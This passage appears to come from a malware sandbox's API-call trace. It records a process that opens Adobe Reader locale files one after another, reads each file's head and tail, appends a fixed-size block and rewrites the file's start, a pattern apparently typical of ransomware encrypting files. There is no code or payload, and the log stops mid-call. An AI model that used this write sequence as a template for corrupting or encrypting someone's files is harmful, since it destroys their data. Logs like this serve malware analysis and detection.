hFile=0x1a0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.829] CloseHandle (hObject=0x1a0) returned 1 [0036.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.832] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.833] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9598 [0036.833] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.833] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.833] ReleaseMutex (hMutex=0x128) returned 1 [0036.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.833] ReadFile (in: hFile=0x1b4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.839] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8598 [0036.839] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.839] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8598 [0036.839] WriteFile (in: hFile=0x1b4, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.840] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.840] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.840] CloseHandle (hObject=0x1b4) returned 1 [0036.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0036.844] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.844] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x20a00 [0036.844] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.844] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.844] ReleaseMutex (hMutex=0x128) returned 1 [0036.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ITA", lpUsedDefaultChar=0x0) returned 12 [0036.844] ReadFile (in: hFile=0x1b4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.850] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1fa00 [0036.850] ReadFile (in: hFile=0x1b4, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.858] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1fa00 [0036.859] WriteFile (in: hFile=0x1b4, lpBuffer=0x1deee48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.859] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.859] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.859] CloseHandle (hObject=0x1b4) returned 1 [0036.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.866] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.866] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x157000 [0036.866] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.866] ReleaseMutex (hMutex=0x128) returned 1 [0036.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ITA", lpUsedDefaultChar=0x0) returned 12 [0036.866] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.872] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.874] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x156000 [0036.874] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.880] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x156000 [0036.880] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.881] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.881] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.881] CloseHandle (hObject=0x1ac) returned 1 [0036.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.883] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6e00 [0036.883] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.883] ReleaseMutex (hMutex=0x128) returned 1 [0036.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ITA", lpUsedDefaultChar=0x0) returned 11 [0036.883] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0036.887] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771188*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0036.889] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.889] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0036.889] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.889] CloseHandle (hObject=0x1ac) returned 1 [0036.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\EScript.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\escript.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x8000 [0036.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0036.890] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.890] ReleaseMutex (hMutex=0x128) returned 1 [0036.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.JPN", lpUsedDefaultChar=0x0) returned 11 [0036.890] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.177] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7000 [0037.177] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.508] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7000 [0037.508] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de2de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.058] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0038.058] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.059] CloseHandle (hObject=0x1ac) returned 1 [0038.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.929] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0038.929] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4400 [0038.930] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0038.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.930] ReleaseMutex (hMutex=0x128) returned 1 [0038.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.JPN", lpUsedDefaultChar=0x0) returned 10 [0038.930] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.985] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3400 [0038.985] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.985] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3400 [0038.986] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0038.986] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.986] CloseHandle (hObject=0x1ac) returned 1 [0038.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0038.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x56c00 [0038.986] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0038.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.987] ReleaseMutex (hMutex=0x128) returned 1 [0038.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.KOR", lpUsedDefaultChar=0x0) returned 10 [0038.987] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.998] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x55c00 [0038.998] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.009] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x55c00 [0039.010] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.010] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.010] WriteFile (in: hFile=0x1ac, lpBuffer=0x27dfbc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27dfbc8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.010] CloseHandle (hObject=0x1ac) returned 1 [0039.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.011] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.011] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2400 [0039.011] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.011] ReleaseMutex (hMutex=0x128) returned 1 [0039.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 